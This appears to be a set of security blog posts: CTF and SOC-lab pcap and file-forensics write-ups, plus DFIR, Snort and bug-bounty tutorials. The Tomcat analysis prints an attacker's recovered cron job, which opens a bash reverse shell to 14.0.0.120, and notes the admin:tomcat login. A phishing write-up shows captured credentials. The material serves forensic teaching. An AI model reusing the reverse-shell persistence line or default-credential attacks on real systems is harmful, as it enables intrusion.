Challenge Description

Just Open the File and Capture the flag. Submission in MD5.

We are given a Word document file:
G&P+lists.docx

Step 1: Initial Safety Check

Before analyzing any unknown file, I first verified if it might be malicious. I uploaded the .docx to VirusTotal:

• Result: 0/61 detections

• Conclusion: The file is not suspicious and safe to analyze further.

Step 2: Opening the Document

Opening G&P+lists.docx in LibreOffice Writer showed a normal Word document with nothing unusual or suspicious. This suggests the flag might be hidden inside the document structure rather than the visible text.

Step 3: File Format Analysis with Binwalk

Since .docx files are essentially ZIP archives containing XML and other resources, I ran binwalk to analyze embedded data:

binwalk G&P+lists.docx

👉 Interesting! The file contains a hidden Flag.txt entry inside the DOCX.

Step 4: Extracting Hidden Files

To extract all embedded files:

binwalk -e G&P+lists.docx

The key file here is Flag.txt.

Step 5: Reading the Flag

Finally, I opened the file:

cat Flag.txt

Output:

877c1fa0445adaedc5365d9c139c5219

This looks like an MD5 hash, which aligns perfectly with the challenge description.

Final Flag

877c1fa0445adaedc5365d9c139c5219

✅ Submit this MD5 hash as the flag.

Key Learnings

• Always check suspicious documents with VirusTotal before opening.

• Remember that DOCX = ZIP archive, which may hide extra files.

• binwalk is a powerful tool for uncovering hidden/embedded data.

Introduction

In this challenge, we were provided with a packet capture (find the image.pcap). The objective was to analyze the network traffic, uncover hidden communication, and ultimately recover a transferred image. The final flag was the MD5 hash of the recovered image.

🔹 Step 1: Protocol Hierarchy Analysis

I started with Statistics → Protocol Hierarchy in Wireshark to get an overview of the captured traffic.

• 3641 packets in total.

• Majority of traffic was TLS (HTTPS) encrypted, exchanged with external Google IPs.

• A smaller portion (~3.7%) was marked as plain TCP Data.

📌 Inference: Most communication is secure and irrelevant, but the unencrypted TCP traffic is worth deeper inspection.

🔹 Step 2: Identifying Conversations

Using Statistics → Conversations, I examined host-to-host communications. Four TCP conversations were identified:

• Three with external Google IPs (173.x.x.x) → TLS encrypted.

• One between 192.168.1.6 ↔ 192.168.1.100 (local-to-local, 216 packets, 129 KB) → unencrypted.

📌 Inference: The internal traffic is suspicious and likely where the hidden file transfer occurred.

🔹 Step 3: Filtering the Local Conversation

To isolate the traffic between the two local machines, I applied the filter:

tcp && ip.addr == 192.168.1.6 && ip.addr == 192.168.1.100

Following a TCP stream revealed cleartext chat logs:

Hey bro
Sup supp, are we ready
yeah, u got the files?
yes but i think the channel is not secured
the UTM will block the file transfer as the DLP module is active
ok we can use cryptcat
ok what the password then
let it be P@ssawordaya
hhh, ok
listen on 7070 and ill send you the file , bye
bye

📌 Key Discovery:

• Tool used: cryptcat

• Password: P@ssawordaya

• Port: 7070

🔹 Step 4: Extracting the Encrypted File

Next, I filtered the traffic on port 7070:

tcp.port == 7070

From this, I followed the stream (tcp.stream eq 7) containing encrypted data.

The stream was saved as Raw data into a file named encrypted.

🔹 Step 5: Decrypting with Cryptcat

To decrypt the transfer, I simulated the original cryptcat communication.

1. Listener terminal:

    cryptcat -k P@ssawordaya -lvp 7070 > decrypted_image
   

   

2. Sender terminal:

    netcat localhost 7070 < encrypted
   

   

This recreated the file transfer locally and produced the decrypted image file (decrypted_image).

🔹 Step 6: Getting the Flag

Finally, I generated the MD5 hash of the recovered image:

md5sum decrypted_image

The output was the challenge flag:

flag -> {<md5_of_image>}

🔹 Conclusion

Through protocol hierarchy analysis, conversation tracking, and decryption with cryptcat, I was able to uncover the hidden image transfer and extract the flag.

This challenge showcased:

• Identifying suspicious internal traffic.

• Using Wireshark filters effectively.

• Understanding how attackers might bypass UTM/DLP by tunneling with cryptcat.

• Reconstructing and decrypting file transfers.

✅ Flag obtained successfully.

Scenario:

“The SOC team has identified suspicious activity on a web server within the company's intranet. To better understand the situation, they have captured network traffic for analysis. The PCAP file may contain evidence of malicious activities that led to the compromise of the Apache Tomcat web server. Your task is to analyze the PCAP file to understand the scope of the attack.”

🧰 Tools Used

• Wireshark → stream following and inspection of HTTP requests

• tshark → command-line packet filtering and field extraction

• CyberChef → decoding Base64 Authorization headers

• Censys.io → IP lookup & geolocation of attacker infrastructure

❓ Questions & Answers

Q1: Given the suspicious activity detected on the web server, the PCAP file reveals a series of requests across various ports, indicating potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?

Step 1: Identify target Tomcat server:

tshark -r web_server.pcap -Y 'http.server contains "Apache-Coyote"' -T fields -e ip.src -e http.server

Output:

10.0.0.112      Apache-Coyote/1.1

Identifying Tomcat’s default response header (Apache-Coyote/1.1) confirms the server vendor.

📌 Why?
Tomcat by default includes a header like:

Server: Apache-Coyote/1.1

Apache-Coyote is the Tomcat HTTP connector component, so spotting this header is a strong fingerprint of a Tomcat server.

Step 2: Identify the source initiating scans:

tshark -r web_server.pcap -Y "ip.dst == 10.0.0.112" -T fields -e ip.src | sort | uniq -c | sort -nr

Output:

9776 14.0.0.120  # attacker
 769 10.0.0.115  # likely benign client or scan noise

👉 Final Answer: The IP performing the scans is 14.0.0.120

2. Based on the identified IP address associated with the attacker, can you identify the country from which the attacker's activities originated?

Lookup on Censys reveals that 14.0.0.120 is associated with China.

👉 Final Answer: China

3. From the PCAP file, multiple open ports were detected as a result of the attacker's active scan. Which of these ports provides access to the web server admin panel?

We need to figure out where the Tomcat admin interface is exposed. Let’s look at the server’s HTTP traffic

tshark -r web_server.pcap -Y "ip.src == 10.0.0.112 && http" -T fields -e tcp.srcport | sort -u

Output:

8080

The server is listening on port 8080.

📌 Why this matters?
By default, Tomcat runs on:

• 8080 → HTTP (default Tomcat web interface)

• 8443 → HTTPS (SSL/TLS)

• 8009 → AJP connector (backend use, not web-facing)

In this case, the attacker is hitting http://10.0.0.112:8080, confirming the admin panel is exposed on 8080.

👉 Final Answer: port 8080

4. Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?

Check user-agent strings from the attacker:

tshark -r web_server.pcap -Y "ip.addr==14.0.0.120" -T fields -e http.user_agent | sort | uniq -c | sort -nr

Output:

   81 gobuster/3.6
   30 Mozilla/5.0 (Firefox)

👉 Final Answer: The attacker used Gobuster for directory enumeration.

5. After the effort to enumerate directories on our web server, the attacker made numerous requests to identify administrative interfaces. Which specific directory related to the admin panel did the attacker uncover?

Let’s search for any requests containing the keyword “manager”:

tshark -r web_server.pcap -Y 'http.request.uri contains "/manager"' -T fields -e http.request.full_uri

Found paths:

.../manager
.../manager/deploy
.../manager/html

📌 Why these paths?
Tomcat’s admin/manager interfaces typically live at:

• /manager/html → Web admin console

• /host-manager/html → Host manager (virtual host management)

Here we clearly see /manager/html was accessed, meaning the attacker is targeting the Tomcat Manager Application (where file uploads and deployments are possible).

👉 Final Answer: /manager

6. After accessing the admin panel, the attacker tried to brute-force the login credentials. Can you determine the correct username and password that the attacker successfully used for login?

Since Tomcat’s /manager/html interface uses HTTP Basic Authentication, we know that credentials will appear in the Authorization header in Base64 format (username:password).

Step 1: Extract all Basic Auth attempts

We can list every attempt with tshark:

tshark -r web_server.pcap -Y 'http.authorization' -T fields -e frame.number -e ip.src -e http.authorization

Output:

20533   14.0.0.120      Basic YWRtaW46YWRtaW4=
20537   14.0.0.120      Basic dG9tY2F0OnRvbWNhdA==
20541   14.0.0.120      Basic YWRtaW46
20545   14.0.0.120      Basic YWRtaW46czNjcjN0
20549   14.0.0.120      Basic dG9tY2F0OnMzY3IzdA==
20553   14.0.0.120      Basic YWRtaW46dG9tY2F0
20571   14.0.0.120      Basic YWRtaW46dG9tY2F0
20579   14.0.0.120      Basic YWRtaW46dG9tY2F0
20616   14.0.0.120      Basic YWRtaW46dG9tY2F0

Clearly, multiple combinations were tried (brute-force attempt).

Step 2: Identify the successful login

Not all attempts succeed — we need to match an Authorization header with an HTTP 200 OK response.

We filter for both /manager/html requests and their HTTP response codes:

 tshark -r 'web server.pcap' -Y "http.request.uri contains \"/manager/html\" || http.response.code" -T fields -e frame.number -e ip.src -e ip.dst -e http.authorization -e http.response.code

Output:

20553   14.0.0.120   10.0.0.112   Basic YWRtaW46dG9tY2F0
20568   10.0.0.112   14.0.0.120         200

This shows that the Authorization header in frame 20553 was immediately followed by a 200 OK (frame 20568). ✅

Step 3: Decode the credentials

Now decode the Base64 string:

echo 'YWRtaW46dG9tY2F0' | base64 -d

Output:

admin:tomcat

👉 Final Answer: Credentials used: admin:tomcat

7. Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?

Since the attacker gained access to the Tomcat Manager App, the next logical step would be uploading a malicious WAR file (Web Application Archive) to deploy a web shell or reverse shell.

Step 1: Filter for HTTP POST requests

File uploads in Tomcat are sent as POST requests to /manager/html/upload. Using tshark:

tshark -r 'web server.pcap' -Y 'http.request.method == "POST"' \
-T fields -e frame.number -e ip.src -e ip.dst -e http.request.uri

Output:

20616   14.0.0.120   10.0.0.112   /manager/html/upload;jsessionid=0DE586F27B2F48D0CA045F731E0E9E71?org.apache.catalina.filters.CSRF_NONCE=83EDF4E2462ECC725BAF342DD7A46974

This indicates that Frame 20616 contains a file upload attempt.

Note: Tshark doesn’t parse multipart filename= in HTTP POST bodies as a field—so use Wireshark’s Follow HTTP Stream instead.

Step 2: Inspect the HTTP stream in Wireshark

Opening Frame 20616 in Wireshark → Follow → HTTP Stream, we can view the raw POST data.

Inside the multipart form-data, we find:

Content-Disposition: form-data; name="deployWar"; filename="JXQOZY.war"

👉 Final Answer: The attacker uploaded JXQOZY.war, a malicious WAR file likely containing a reverse shell.

8. After successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?

Step 1: Filter for reverse shell connection

A reverse shell typically starts with the victim server connecting back to the attacker’s IP. To isolate this, I used a TCP filter in Wireshark:

ip.src == 14.0.0.120 && tcp.flags == 0x012

• 14.0.0.120 = Attacker’s IP

• 0x012 = SYN+ACK flags, used during connection establishment

This filter only returned 2 packets.

Step 2: Follow the TCP stream

By following the 2nd packet’s TCP stream, I could see the attacker’s interactive shell session.

Commands executed:

whoami

root

cd /tmp
pwd

/tmp

echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron
crontab -i cron

crontab -l

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

👉 Final Answer:
The attacker added a cron job:

/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

“A user came across a poor file index, and their curiosity led to problems.”

The case was assigned to you. Inspect the provided directory-curiosity.pcap located in ~/Desktop/exercise-files and retrieve the artefacts to confirm that this alert is a true positive.

🧰 Tools Used

• TShark

• VirusTotal

• CyberChef (for defanging URLs/IPs)

❓ Questions & Answers

Q1: What is the name of the malicious/suspicious domain?

First, extract all DNS queries:

tshark -r directory-curiosity.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort | uniq -c | sort -nr

Searching jx2-bavuong.com on VirusTotal confirms it is malicious.

✅ Answer (Defanged):
jx2-bavuong[.]com

Q2: What is the total number of HTTP requests sent to the malicious domain?

To assess how frequently the user interacted with the suspicious domain, we filter HTTP requests made specifically to jx2-bavuong.com. Using TShark:

tshark -r directory-curiosity.pcap -Y 'http.host == "jx2-bavuong.com"' -T fields -e http.host | wc -l

This command tells us how many HTTP requests were directed to the domain.

✅ Answer: 14

Q3: What is the IP address associated with the malicious domain?

To determine where the requests were sent, we extract the destination IP addresses associated with jx2-bavuong.com:

tshark -r directory-curiosity.pcap -Y 'http.host == "jx2-bavuong.com"' -T fields -e ip.dst -e http.host

✅ Answer (Defanged): 141[.]164[.]41[.]174

This IP is consistently tied to the malicious domain, further confirming its involvement.

Q4: What is the server info of the suspicious domain?

To identify the web server stack used, we can extract the Server HTTP header from responses sent by the malicious IP:

tshark -r directory-curiosity.pcap -Y 'ip.src == 141.164.41.174 && http.server' -T fields -e ip.src -e http.server | awk NF | uniq -c

✅ Answer:
Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9

Q5: What is the number of listed files (via ASCII TCP stream)?

TShark allows us to inspect full TCP streams to analyze file listings or command-and-control interactions. To follow the first TCP stream in ASCII format:

tshark -r directory-curiosity.pcap -qz follow,tcp,ascii,0

Upon reviewing the response, we observe a file listing:

• 123.php

• vlauto.exe

• vlauto.php

✅ Answer: 3

Q6: What is the filename of the first file?

From the file listing above, the first file is 123.php

✅ Answer (Defanged): 123[.]php

Q7: Export all HTTP objects. What is the name of the .exe file downloaded?

We want to extract all HTTP objects, especially any executables. The TShark export command:

tshark -r directory-curiosity.pcap --export-objects http,/home/ubuntu/Desktop/extracted -q

This saves all HTTP objects to disk, but we can also narrow down .exe requests directly:

tshark -r directory-curiosity.pcap -Y 'http.request.uri contains ".exe"' -T fields -e http.host -e http.request.uri

✅ Answer (Defanged): vlauto[.]exe

Q8: What is the SHA256 hash of the malicious .exe file?

To verify the file’s integrity and reputation, we calculate its SHA256 hash:

sha256sum vlauto.exe

Output:

b4851333efaf399889456f78eac0fd532e9d8791b23a86a19402c1164aed20de

✅ Answer:
b4851333efaf399889456f78eac0fd532e9d8791b23a86a19402c1164aed20de

Q9: What is the PEiD packer value of the file?

By uploading the hash to VirusTotal, we examine the file’s static properties. Under the "Details" tab, the PEiD packer field helps us understand how the file was packed or obfuscated.

✅ Answer:
.NET executable

Q10: What does Lastline Sandbox flag this file as?

Under the Behavior tab in VirusTotal’s dynamic analysis:

✅ Answer:
MALWARE TROJAN

An alert has been triggered: "The threat research team discovered a suspicious domain that could be a potential threat to the organisation."

The case was assigned to you. Inspect the provided teamwork.pcap located in ~/Desktop/exercise-files and create artefacts for detection tooling.

🧰 Tools Used

• TShark – Command-line version of Wireshark, ideal for headless analysis.

• VirusTotal – To confirm if a domain is malicious.

• CyberChef – For defanging URLs and emails.

PCAP Initial Review

We begin by gathering high-level insights about the PCAP file:

tshark -r teamwork.pcap -q -z io,stat,0         # Total frames and statistics
tshark -r teamwork.pcap -z io,phs -q            # Protocol hierarchy summary

📌 Total Packets: 793
📌 Protocols Detected: DNS, HTTP, TCP – indicating typical web activity.

This initial scan helps us narrow our focus toward DNS and HTTP traffic.

❓ Questions & Answers

Q1. What is the full URL of the malicious/suspicious domain address?

(Answer must be in defanged format)

Using TShark to extract all DNS queries:

tshark -r teamwork.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort | uniq -c | sort -nr

The most frequent suspicious domain is:

www.paypal.com4uswebappsresetaccountrecovery.timeseaways.com

✅ Confirmed as malicious on VirusTotal:

Using CyberChef, the defanged version of the URL is:

👉 hxxp[://]www[.]paypal[.]com4uswebappsresetaccountrecovery[.]timeseaways[.]com/

Q2. When was the URL first submitted to VirusTotal?

📅 First Submission: 2017-04-17 22:52:53 UTC

Found directly on the VirusTotal analysis page.

Q3. Which known service was the domain trying to impersonate?

Analyzing the subdomain structure:

www.paypal.com4uswebappsresetaccountrecovery.timeseaways.com

It mimics PayPal’s official login/reset flow.

✅ Answer: paypal

Q4. What is the IP address of the malicious domain?

(Answer in defanged format)

Inspecting the HTTP request headers and IP information:

tshark -r teamwork.pcap -Y "http.request" -T fields -e ip.src -e ip.dst -e http.host

📌 Malicious domain resolved to → 184.154.127.226

👉 Defanged: 184[.]154[.]127[.]226

Q5. What is the email address that was used?

(Answer in defanged format: aaa[at]bbb[.]ccc)

Looking for HTTP POST data

tshark -r teamwork.pcap -Y "http.request.method == POST" -T fields -e http.host -e http.request.uri -e http.file_data | nl

1    www.paypal.com4uswebappsresetaccountrecovery.timeseaways.com    /inc/visit.php    xBrowser=Mozilla+FireFox+v43&xOperatingSystem=Linux&xPlatForm=Desktop+Platform
2    www.paypal.com4uswebappsresetaccountrecovery.timeseaways.com    /inc/login.php    user=johnny5alive%40gmail.com&pass=johnny5alive&xBrowser=Mozilla+FireFox+v43&xOperatingSystem=Linux&xPlatForm=Desktop+Platform&xTimeZone=Mon+Apr+17+2017+22%3A00%3A35+GMT-0400+(EDT)&xResoLution=Computer%3A+1920x1080%3B+Browser+inner%3A+1920x762%3B+Browser+outer%3A+1920x1027&xLang=en-US

The /inc/login.php request contains:

user=johnny5alive%40gmail.com

Decoded and defanged:

👉 Email: johnny5alive[at]gmail[.]com

Scenario

We got our hands on a confidential case file from some self-declared "black hat hackers"... it looks like they have a secret invite code available within a QR code, but it's covered by some image in this PDF! If we want to thwart whatever it is they are planning, we need your help to uncover what that QR code says!

Step 1: Access the PDF

Once the machine is deployed, navigate to the target directory:

cd /home/ubuntu/confidential

The file of interest is named Repdf.pdf.

Opening the file, we observe that the PDF contains only a single page, which appears to be a static image. Upon closer inspection, we notice that part of the QR code is visually blocked by a red triangular overlay.

Step 2: Extracting Embedded Images

Since tools like binwalk are not installed on the TryHackMe virtual machine (and may be out of scope), we look for an alternative.

Luckily, the VM has a utility called pdfimages, which can extract embedded images from PDF files. We use the following command to extract all images:

pdfimages -png Repdf.pdf ext

This generates three PNG files:

ubuntu@thm-confidential:~/confidential$ ls
Repdf.pdf  ext-000.png  ext-001.png  ext-002.png

Step 3: Analyze Extracted Images

Inspecting the images:

• ext-000.png contains the QR code without the overlay.

• ext-001.png and ext-002.png appear to be parts of the overlay or background.

We focus on ext-000.png since it contains the unmasked QR code.

Step 4: Decode the QR Code

To extract the flag from the QR code, take a screenshot of ext-000.png or download the file and upload it to a QR code reader. I used CyberChef for decoding.

Once uploaded, CyberChef successfully reveals the embedded text – the flag.

🏁 Flag

flag(\*REDACTED**)*

In this blog, we’ll cover how to create a memory dump (.dmp) of a Windows system using Magnet DumpIt, a powerful and trusted tool in the DFIR (Digital Forensics and Incident Response) world.

What is Magnet DumpIt?

Magnet DumpIt is a lightweight, command-line memory acquisition tool developed by Magnet Forensics. It captures the physical memory (RAM) of a Windows system and saves it as a .dmp file, which can then be analyzed using tools like Volatility or Rekall.

Key Features:

• Captures complete physical memory

• Trusted in the forensic community

• Minimal footprint – suitable for live acquisitions

• Supports x86 and x64 Windows

Prerequisites

• Windows target machine

• Admin privileges

• USB drive or external disk (to store the dump file)

• Magnet DumpIt binary

Step-by-Step: Capturing RAM with DumpIt

1. Download DumpIt

Download the latest version from Magnet Forensics. Ensure you verify its hash for integrity.

💡 Always use a trusted and write-protected USB to store the executable.

2. Prepare for Acquisition

• Close unnecessary applications (if allowed).

• Use an administrator account or elevate privileges via right-click > "Run as administrator".

• Open Command Prompt (cmd.exe) as Admin if running from CLI.

3. Run DumpIt

Double-click DumpIt.exe or execute it via CLI:

DumpIt.exe

After a brief prompt, the tool begins capturing the memory. The process may take a few minutes depending on the RAM size.

4. Check Output

By default, DumpIt creates a .dmp file in the same directory as the executable.

Example default filename:

TARGET-PC-20250517-061433.dmp

📦 Understanding DumpIt’s Default File Naming

The default naming convention used by DumpIt follows this format:

<HOSTNAME>-<YYYYMMDD>-<HHMMSS>.dmp

Example:

TARGET-PC-20250517-061433.dmp

While helpful, this naming convention lacks contextual details about the system (OS version, architecture, etc.).

Recommended Naming Convention (Best Practice)

To ensure better tracking during investigations, consider renaming the file post-capture using the following format:

<HOSTNAME>-<OS>-<ARCH>_<BUILDNUMBER>_<DATE>_<CASEID>.dmp

Example:

TARGET-PC-win10x64_10.0.19045_20250517_CASE001.dmp

This format improves clarity and makes it easier to:

• Match with forensic reports or chain-of-custody

• Identify the OS version and architecture quickly

• Avoid confusion when dealing with multiple dumps

You can extract OS info using the systeminfo command:

systeminfo > system_details.txt

Analysis Tools for .dmp Files

After capture, the dump can be analyzed with tools like:

• Volatility / Volatility3

• Rekall

Real-World Tip

Always capture memory before shutting down a suspicious machine. Memory contains volatile indicators that are lost on reboot.

Conclusion

Memory forensics begins with sound acquisition. Magnet DumpIt offers a fast and reliable way to capture memory without heavy dependencies. By following proper naming conventions and post-capture procedures, you ensure your evidence remains traceable, organized, and admissible.

In this post, we'll explore:

• What RDP bitmap cache is

• Where it’s stored

• Why it matters in investigations

• How to extract and reconstruct it using real tools

• A working demo with actual cache000.bin

What is RDP Bitmap Cache?

When you use RDP to remotely control a system, your RDP client stores tiny graphical fragments of the session as a performance optimization. These fragments are stored as .bin files — commonly named:

cache000.bin
cache001.bin
...

These files persist on the client machine and contain compressed image tiles of what was displayed during the session. In digital forensics, these can be gold.

Where Are These Files Stored?

If an attacker RDPs into a system, the cache files are stored on the attacker’s system — because they are the client.

However, if the attacker pivots within a network and uses RDP from one victim machine to another, then the intermediate machine (pivot point) will store the cache files — making it available for analysis during an investigation.

Location on disk (Windows):

C:\Users\<username>\AppData\Local\Microsoft\Terminal Server Client\Cache\

Tools for RDP Bitmap Forensics

We’ll demonstrate two open-source tools that let us extract and reconstruct images from the cache:

1. bmc-tools

• Dumps and previews bitmap images

• Allows tile-by-tile inspection

2. RdpCacheStitcher

• Supports stitching tiles into a single image

• GUI support and tile visualization

Real Working Example: Analyzing cache000.bin

Let’s walk through a real-world example.

Step 1: Clone the Tools

We begin by cloning the two open-source tools from GitHub:

git clone https://github.com/ANSSI-FR/bmc-tools.git
git clone https://github.com/BSI-Bund/RdpCacheStitcher.git

Step 2: Obtain a Sample cache000.bin

You can either:

• Use your own cache files from a test RDP session

• Download publicly shared samples from training datasets or malware analysis repositories

For this demo, let’s say we have:

cache000.bin

Step 3: Extract Tiles with bmc-tools

python3 bmc-tools.py -s cache000.bin -d output

This will extract all bitmap tiles into the output/ folder.

Step 4: Reconstruct with RdpCacheStitcher

Now it’s time for the fun part: rebuilding the original screen layout from the extracted bitmap tiles — like assembling a high-stakes jigsaw puzzle from the attacker’s POV.

Launch RdpCacheStitcher:

Here's what to do:

1. Create a New Case

   • Go to File → New Case

   • When prompted, select the folder where your extracted tiles are stored

   • This tells the tool where to find the BMP cache tiles for reconstruction

2. Start Reconstructing

   • The interface will populate with available tile images

   • Drag tiles into the main canvas area

   • Align them manually by matching UI elements like window edges, taskbars, or icons

     

3. Export Your Scene

   • Once a coherent image is rebuilt, go to File → Export screen images

   • Save the final output as an image — evidence ready!

This gives you a full screenshot-style reconstruction you can use as evidence or visual proof

Why This Matters

• You might find screenshots of:

  • Open Notepad or PowerShell windows

  • Sensitive documents

  • File paths and credentials

• These can provide proof of attacker activity even if logs are wiped

• Especially helpful in lateral movement cases where attackers used internal systems as stepping stones

Conclusion

RDP bitmap forensics is a powerful, underused technique in modern DFIR. With tools like bmc-tools and RdpCacheStitcher, analysts can reconstruct attacker views and actions — all from leftover cache tiles.

Next time you're investigating an RDP-heavy compromise, don't forget to check:

%LOCALAPPDATA%\Microsoft\Terminal Server Client\Cache\

There just might be a screenshot waiting to speak.

Resources:

ANSSI-FR/bmc-tools: RDP Bitmap Cache parser

BSI-Bund/RdpCacheStitcher: RdpCacheStitcher is a tool that supports forensic analysts in reconstructing useful images out of RDP cache bitmaps.

https://youtu.be/9P845AMjJF0?si=OKuf839Dq8woOVFq

Can you analyze logs from an attempted RDP brute-force attack?

One of our system administrators identified a large number of Audit Failure events in the Windows Security Event log. There are various ways to analyze these logs — consider using the suggested tools, but feel free to explore other methods as well!

File Formats Provided
The challenge provided the event log data in three formats: .csv, .evtx, and .txt.

For this analysis, I chose the .txt format due to its simplicity and compatibility with command-line tools like grep and awk. While the .csv format is suited for spreadsheet tools, and the .evtx format works well with Windows Event Viewer, the plain-text format enabled a faster and more flexible analysis directly on the terminal.

1) How many Audit Failure events are there?

Format: Count of Events

cat BTLO_Bruteforce_Challenge.txt | grep -i "failure" | sort | uniq -c

Answer: 3103

2) What is the username of the local account being targeted?

Format: Username

cat BTLO_Bruteforce_Challenge.txt | less

Answer: administrator

3) What is the failure reason related to the Audit Failure logs?

Format: String

Answer: Unknown user name or bad password

4) What is the Windows Event ID associated with these logon failures?

Format: ID

The Windows Event logs assign a unique Event ID to each event. Event ID 4624 corresponds to a successful logon, while Event ID 4625 corresponds to a failed logon attempt.

Answer: 4625

5) What is the source IP conducting this attack?

Format: X.X.X.X

cat BTLO_Bruteforce_Challenge.txt | grep "Source Network Address" | sort | uniq -c

The grep command searches for lines containing "Source Network Address," which represents the IP address of the attacker. Sorting and filtering unique values help pinpoint the exact source.

Answer: 113.161.192.227

6) What country is this IP address associated with?

Format: Country

By querying the IP address 113.161.192.227 in Censys, we determined that the attacker originated from Vietnam. Censys provides detailed metadata, including geolocation, which helps identify the source country of the IP.

Answer: Vietnam

7) What is the range of source ports used by the attacker to make these login requests?

Format: LowestPort-HighestPort (e.g., 100–541)

Answer: 4916-65534

Snort is a powerful open-source intrusion detection and prevention system that analyzes network traffic in real-time. In this blog, I will guide you through the installation and configuration of Snort on Ubuntu. By the end of this post, you’ll be able to detect and analyze network threats using Snort’s customizable rule sets.

Installing Snort on Ubuntu

Step 1: Install Snort

To begin, you can install Snort on your Ubuntu virtual machine (VM) using the following command:

sudo apt-get install snort -y

During the installation process, Snort will prompt you to specify the network address range for your local network (as shown below). This setting allows Snort to know what range of IP addresses it should monitor, typically known as HOME_NET.

You will be asked to provide a CIDR block to define your network. A common CIDR for a local network is 192.168.1.0/24. In my case, I used 10.0.2.0/24 as I’m using a virtualized environment (as seen in the image).

After the installation is complete, verify the version of Snort using

snort --version

Step 2: Enable Promiscuous Mode

Snort needs your network interface to be in promiscuous mode to capture all network traffic. To enable this, run the following command

If you’re running Ubuntu as your main OS, this command will help enable promiscuous mode for your network interface.

sudo ip link set enp0s3 promisc mode on

Step 3: Snort Directory and Configuration Files

Once installed, Snort’s default directory is /etc/snort. Make a copy of the snort.conf file before editing it, as this configuration will define how Snort functions. In the configuration file, specify the network you want to monitor by setting the variable ipvar HOME_NET to your network's IP range.

Customizing Snort Rules

Step 4: Rules Directory

Snort uses rules to detect suspicious traffic. You can find Snort’s default rules in /etc/snort/rules. Local, user-defined rules can be found in local.rules. These rules will help you customize Snort to monitor specific network events.

Step 5: Creating Custom Rules

Let’s create a custom rule to detect ICMP pings. Open the local.rules file

and add the following rule:

alert icmp any any -> $HOME_NET any (msg: "ICMP PING DETECTED"; sid:1000001; rev:1;)

This rule will trigger an alert when any ICMP ping request is detected on your network.

Once the rule is in place, you can test your configuration by running Snort. If Snort detects ICMP traffic (like a ping), it will generate an alert based on this rule.

Save the rule and proceed to the next step.

Adding Community Rules

In addition to writing your own rules, you can also download Snort Community Rules and add them to your local.rules file. The community rules are open-source and maintained by Snort, providing a solid baseline for network monitoring and threat detection.

Here’s how you can download and add them:

1. Download the Snort community rules by visiting the Snort website.
2. Unpack the rules and place them in the rules/ directory on your system.
3. Open the local.rules file and include any relevant community rules by copying them from the downloaded rule set and pasting them into your local.rules.

This will allow you to leverage both your custom rules and a robust set of predefined community rules for enhanced detection capabilities.

Step 6: Run Snort

To start Snort, run the following command:

sudo snort -q -l /var/log/snort -i enp0s3 -A console -c /etc/snort/snort.conf

• -l specifies the directory where log files are stored.
• -i identifies the interface to monitor.
• -A console sends alerts to the console.
• -c /etc/snort/snort.conf: Instructs Snort to use the configuration file located at **/etc/snort/snort.conf**

You should see alerts in real time when you generate network activity, like a ping.

Pinging from Kali VM

For demonstration, let’s ping your Ubuntu VM from another virtual machine (Kali) that shares the same network interface. When the ping is executed, Snort should generate an alert on the Ubuntu VM.

Viewing Alerts with Wireshark

Snort logs packet captures in the /var/log/snort directory. These logs can be viewed with tools like Wireshark, which provides a detailed breakdown of captured packets.

Automating with Snorpy

Creating rules by hand can be tedious, but Snorpy, an online rule generator, simplifies this process. You can generate complex Snort rules easily using Snorpy’s graphical interface.

Advanced Logging with Syslog and Splunk

To avoid cluttering the console with alerts, switch to the fast option:

-A fast

This will log alerts in syslog format, which can be integrated with tools like Splunk for more advanced network analysis and monitoring.

Conclusion

Setting up Snort allows you to gain visibility into your network and detect potential security threats. With custom rules and proper logging, Snort becomes a powerful tool in your security toolkit. Whether you are learning intrusion detection or deploying a robust defense system, Snort’s flexibility makes it a must-know tool for network security.

Stay tuned for my next post, where I’ll dive deeper into creating complex Snort rules and integrating it with advanced monitoring systems.

If you’re interested in more tips and resources, feel free to follow me on my blog or Linked-In.

In the modern cybersecurity landscape, bug bounty hunting has become a popular way for ethical hackers to discover and report security vulnerabilities in exchange for rewards. As companies focus on securing their products, bug bounty programs provide a collaborative way to identify weaknesses before malicious hackers exploit them.

I started my journey into bug bounty hunting through platforms like Bugcrowd, where I could test my skills and help companies secure their applications. In this blog, I will walk you through the basics of bug bounty hunting and how to get started.

2. What is Bug Bounty Hunting?

Bug bounty hunting is the practice of finding and reporting bugs in software or websites. These bugs can range from minor issues to critical vulnerabilities that expose sensitive data. Companies offer financial rewards, or bounties, for legitimate bug reports.

The idea of bug bounties first gained traction in 1995 when Netscape started its own program. Today, bug bounty programs are run by some of the largest companies, including Google, Facebook, and Microsoft. The rise of bug bounty platforms has opened this field to thousands of hackers worldwide.

3. How Do Bug Bounty Programs Work?

In a typical bug bounty program, ethical hackers follow a structured process:

• Signing up: You register on platforms like Bugcrowd, HackerOne, or Synack.
• Choosing a target: Select a program based on scope and rules.
• Hunting for bugs: Use tools and manual techniques to find vulnerabilities.
• Reporting: Submit detailed reports, including reproduction steps and impact assessment.
• Receiving rewards: If the bug is valid, you’ll receive a bounty based on its severity.

Each program has its own scope, outlining what parts of the application can be tested. It’s important to read the program rules to avoid overstepping boundaries.

4. Common Types of Vulnerabilities

Bug bounty hunters typically focus on vulnerabilities that pose security risks. Here are some common ones:

• Cross-Site Scripting (XSS): An attacker injects malicious scripts into a web page, affecting other users.
• SQL Injection (SQLi): Attackers exploit databases by inserting malicious SQL queries.
• Server-Side Request Forgery (SSRF): The attacker forces a server to make unauthorized requests.
• Cross-Site Request Forgery (CSRF): Exploits a user’s session to make unwanted actions.
• Open Redirect: Redirecting users to malicious sites by manipulating URL parameters.
• Authentication flaws: Issues with login mechanisms, such as broken authentication or session management.

5. Tools of the Trade

